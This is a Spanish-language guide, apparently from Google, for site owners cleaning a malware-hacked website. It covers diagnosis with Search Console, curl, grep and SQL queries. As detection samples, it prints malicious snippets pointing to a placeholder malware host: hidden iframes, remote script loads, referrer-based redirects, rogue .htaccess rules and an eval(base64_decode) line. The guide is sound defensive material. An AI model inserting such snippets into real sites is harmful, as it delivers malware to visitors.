Hackeado con software malicioso

Un software malicioso es cualquier software o aplicación para dispositivos móviles que se diseña específicamente para dañar una computadora, un dispositivo móvil, el software que ejecuta o a los usuarios. Para obtener más información sobre qué es el software malicioso, consulta Software malicioso y no deseado.

Si tu sitio contiene software malicioso, los usuarios suelen ver la advertencia "Este sitio puede dañar tu computadora" en los resultados de la búsqueda o en una página intersticial que muestra el navegador cuando el usuario intenta visitar tu sitio, algo como lo siguiente:

Página intersticial representativa de software malicioso
Resultados de la búsqueda con una advertencia de software malicioso.

Debes tener lo siguiente:

  • Acceso de administrador de shell o terminal a los servidores de tu sitio: web, base de datos y archivos
  • Conocimientos sobre comandos de shell o terminal
  • La capacidad de ejecutar consultas de SQL en la base de datos

Preparación

  • Regístrate en Search Console y verifica la propiedad de tu sitio hackeado como se describe allí. Search Console proporciona una muestra de las páginas afectadas, lo que facilita mucho la búsqueda y la corrección de problemas de hackeo con software malicioso. Además, recibirás una advertencia cuando se detecte que tu sitio se ve afectado por muchos tipos de software malicioso o algún otro hackeo.
  • Consulta la página de diagnóstico de la Navegación segura de Google para ver información pública sobre si un sitio es potencialmente dañino para los usuarios. Puedes ver el estado de la ficha de tu página o sitio en una URL similar a la siguiente: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** Por ejemplo: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> puede ser la URL de una página específica (http://example.com/badpage) o todo tu sitio (example.com).

  • Evita usar un navegador para ver las páginas de tu sitio. Como el software malicioso suele propagarse mediante la explotación de vulnerabilidades de los navegadores, abrir una página infectada en un navegador podría dañar tu computadora. A menos que las instrucciones de diagnóstico indiquen que debes acceder a la página directamente en el navegador, usa cURL o Wget para realizar solicitudes HTTP (por ejemplo, para recuperar una página).

    Estas herramientas gratuitas son útiles para diagnosticar redireccionamientos y permiten incluir información de referencia o de usuario-agente. Incluir un usuario-agente o una referencia específicos es útil para imitar a los hackers, ya que estos solo pueden publicar contenido malicioso para usuarios con usuarios-agentes o referencias específicos para orientar el ataque a más "personas reales" y evitar que los propietarios de sitios y analizadores de software malicioso lo detecten.

`curl -v --referer "http://www.google.com" <your-url>`

Este es un ejemplo que especifica un usuario-agente y un referente:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

Recomendamos recuperar una página con y sin --referer "https://www.google.com", ya que algunos software maliciosos solo se activan cuando los usuarios provienen de los resultados de la Búsqueda de Google.

  • Crea un documento para registrar los hallazgos de este paso. Con el tiempo, el documento incluirá (como mínimo) el nombre y la ubicación de cada archivo dañado, notas sobre cómo se infectó y servirá como base para limpiar y mantener tu sitio.

  • Mira el video que aparece más arriba en esta página para ver cómo funciona el software malicioso y cómo puedes protegerte durante la investigación.

Diagnóstico

Determina qué software malicioso afecta a tu sitio:

  1. Abre el Informe de problemas de seguridad de tu sitio en Search Console. Expande la descripción de la advertencia de software malicioso para ver una lista de ejemplos de páginas afectadas. Ten en cuenta que esta lista no es exhaustiva. Es posible que no obtengas páginas de ejemplo para todos los tipos de software malicioso en tu sitio.
  2. Prueba tus páginas de ejemplo en busca de los siguientes tipos de software malicioso.

Software malicioso de configuración del servidor (redireccionamientos no deseados)

Un hacker hackeó tu sitio y redirecciona a los visitantes de tu sitio bueno a su sitio de ataque de software malicioso, probablemente al modificar los archivos de configuración de tu servidor. Los archivos de configuración del servidor suelen permitir que el administrador del sitio especifique los redireccionamientos de URL a páginas o directorios específicos en un sitio web. Por ejemplo, en los servidores Apache, son los archivos .htaccess y httpd.conf.

Diagnóstico

Visita algunas de las URL provistas como ejemplos en el informe de problemas de seguridad. Una respuesta de una página infectada con la infección "configuración del servidor" podría incluir alguno de los siguientes encabezados:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

Determina los archivos afectados

Accede a tu servidor mediante la terminal de acceso o el shell (puedes utilizar el sitio sin conexión si prefieres) y revisa los archivos de configuración relevantes. Es posible que haya más de un archivo de configuración del servidor hackeado en tu sitio. Revisa esos archivos en busca de directivas no deseadas, como redireccionamientos a sitios desconocidos. Por ejemplo, en el archivo .htaccess, es posible que veas un redireccionamiento que se vea de la siguiente manera:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

Inyección de SQL

Un hacker vulneró la base de datos de tu sitio. Por ejemplo, es posible que el hacker haya insertado un código malicioso en cada registro de una tabla de base de datos para que, cuando el servidor cargue una página que requiera información de la base de datos, el código malicioso se incorpore al contenido de la página y dañe a los visitantes del sitio.

Diagnóstico

  1. Ejecuta algunas consultas en las URLs afectadas en la línea de comandos y examina la respuesta en busca de palabras de ataque de SQL, como "iframe" o "eval".
  2. Accede al servidor de tu base de datos o mira tu base de datos con alguna herramienta como phpMyAdmin. Si usas Wget o cURL, intenta relacionar el daño encontrado en el código fuente de la página con Wget o cURL con entradas reales de la base de datos. Por ejemplo, si notaste que en tu página aparece un iframe peligroso, puedes realizar una consulta de SQL para buscar el código iframe. Por ejemplo:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. También te recomendamos revisar los archivos de error y de registro de la base de datos de tu servidor en busca de actividad inusual, como comandos inesperados de SQL, que resulten anormales para usuarios o errores habituales.

Corrige el problema

Actualiza cada registro de la base de datos infectada o restablece la última copia de seguridad de la base de datos que tengas.

Inserción de código

Se modificaron algunas páginas de tu sitio para incluir código malicioso, como un iframe o un sitio atacante de software malicioso.

Diagnóstico

Visita algunas de las URLs de ejemplo que se muestran en el informe de problemas de seguridad con cURL o wGet y examina si hay código sospechoso. El código insertado puede ser de muchos tipos y puede ser difícil de encontrar. Podría resultarte útil buscar palabras como "iframe" para encontrar el código correspondiente. Otras palabras clave útiles son "script", "eval" y "unescape". Por ejemplo, para buscar "iframe" en todos los archivos en sistemas basados en Unix:

$grep -irn "iframe" ./ | less</pre>

Estos son algunos patrones de software malicioso comunes que debes buscar.

Un iframe que carga un sitio malicioso:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript o algún otro lenguaje de programación que llama y ejecuta secuencias de comandos desde un sitio atacante:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

Secuencias de comandos que redireccionan al navegador a un sitio atacante:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

Código malicioso diseñado para evitar detección:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

Archivos de objetos compartidos diseñados para escribir de manera aleatoria código dañino en secuencias de código seguras:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

Plantillas de error maliciosas

La plantilla que se usa para los mensajes de error, como "Error 404 de Archivo no encontrado", está configurada para distribuir software malicioso. De esta forma, los atacantes pueden lanzar ataques en URLs que ni siquiera existen en tu sitio.

Diagnóstico

En tu sitio, solicita una página que no exista o que devuelva otro tipo de error y examina la respuesta para ver si proviene de otro sitio o contiene software malicioso.

Corrige el problema

Accede a tu servidor web y busca directivas de la página de error en los archivos de configuración de tu servidor. Por ejemplo, la plantilla de error para los servidores web de Apache puede declararse en el archivo .htaccess. A continuación, se muestra un ejemplo de una entrada de archivo .htaccess que recupera páginas de error 404 de un sitio malicioso:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

Cuando tengas todo listo para limpiar tu sitio, reemplaza los archivos .htaccess con una copia de seguridad segura o borra las directivas de ErrorDocument no deseadas de los archivos .htaccess existentes. Asegúrate también de limpiar los archivos de errores reales si es que existen en tu sitio. Por último, reinicia el servidor web para asegurarte de que todos los cambios tengan efecto.

Recursos que se cargan desde un sitio comprometido o malicioso {compromised-resources}

Tu sitio usa contenido o recursos de un sitio web que se sabe que alberga contenido malicioso. Estos pueden ser archivos JavaScript, imágenes o cualquier otro tipo de archivo. Por este motivo, tu sitio se marcará por el software malicioso que se cargó desde ese otro sitio.

Diagnóstico

Visita algunas de las URL provistas como ejemplos en el informe de problemas de seguridad.

Corrige el problema

  1. Navega a algunas de las URLs de ejemplo que se indican en el informe de problemas de seguridad de Search Console para confirmar el problema. Deberías ver una advertencia del navegador.
  2. La advertencia del navegador te indicará el dominio del contenido cuestionable. Quita todas las referencias del sitio marcado que aparece en la advertencia del navegador. Si el contenido de un sitio marcado se incluyó sin tu conocimiento, el problema es más grave. Es probable que tu sitio haya sido vulnerado, por lo que debes seguir examinándolo en busca de otros hackeos y vulnerabilidades.
  3. Si incluiste de forma intencional contenido de un sitio legítimo que se marcó y quieres volver a incluirlo después de que se borre, puedes supervisar el estado del sitio marcado con la página de diagnóstico de Navegación segura de Google de ese sitio (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. Los propietarios de sitios legítimos suelen limpiarlos rápidamente.

Investigación adicional

A continuación, busca archivos o cambios maliciosos adicionales en el sistema. Es posible que el hacker haya modificado páginas existentes o registros de bases de datos, creado páginas de spam nuevas, escrito funciones que muestran spam en páginas limpias o dejado "puertas traseras" que le permitan volver a ingresar a tu sitio o volver a insertar el código malicioso que quitaste.

Si tu sitio está en línea, considera desactivarlo durante esta investigación.

Si tienes una copia de seguridad conocida y en buen estado de tu sitio, determina qué archivos se crearon o modificaron desde la copia de seguridad y, luego, investígalos. En los sistemas basados en Unix, puedes usar un comando como el siguiente para encontrar archivos nuevos:

diff -qr <current-directory> <backup-directory>

Por ejemplo:

diff -qr www/ backups/full-backup-20120124/

También:

md5sum <current-page> <backup-page>

Por ejemplo:

md5sum www/page.html backups/full-backup-20120124/page.html

Revisa los registros de servidor, acceso y errores en busca de actividad sospechosa, como intentos de acceso fallidos, historial de comandos (especialmente como raíz) y la creación de cuentas de usuario desconocidas. Ten en cuenta que el hacker podría haber alterado estos registros para sus propios fines. En el video sobre cómo identificar la vulnerabilidad, se muestran algunos ejemplos.

Verifica los archivos de configuración en busca de redireccionamientos. Por lo general, los archivos de configuración se llaman .htaccess y httpd.conf. Los hackers suelen crear redireccionamientos condicionales según el usuario-agente, la hora del día o la URL de referencia. Si necesitas actualizar los archivos de configuración, es posible que debas reiniciar el servidor para que se apliquen los cambios.

Revisa si hay permisos de carpetas y archivos demasiado permisivos. Los hackers manipulan los permisos porque, si el propietario del sitio no detecta los permisos flexibles, el hacker tendrá una forma de volver a ingresar al sitio. Los archivos de más de 644 (rw-r--r--) y las carpetas de más de 755 (rwxr-xr-x) pueden causar problemas de seguridad. Asegúrate de que los permisos más flexibles sean realmente necesarios. En sistemas basados en Unix, prueba lo siguiente:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

y:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

Si tienes una base de datos, investiga registro por registro con una herramienta como phpMyAdmin.